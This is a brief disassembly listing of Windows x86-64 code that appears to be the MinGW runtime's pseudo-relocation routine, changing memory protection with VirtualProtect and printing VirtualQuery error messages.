call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x54]
cmp eax, 0x40
je 0x40d407
cmp eax, 4
je 0x40d407
mov r9, r12
mov r8d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call rbx
nop
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
cmp eax, 0x40
je 0x40d354
add r14, qword [0x004a03b8]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov r9, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40d354
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040d210
xor ebx, ebx
jmp 0x40d2d7
mov rax, qword [0x004a03b8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r14 + 8]
call fcn.0040d210
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.0040d210
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rsi
mov edx, 0x30
call fcn.0040d210
nop
nop dword [rax]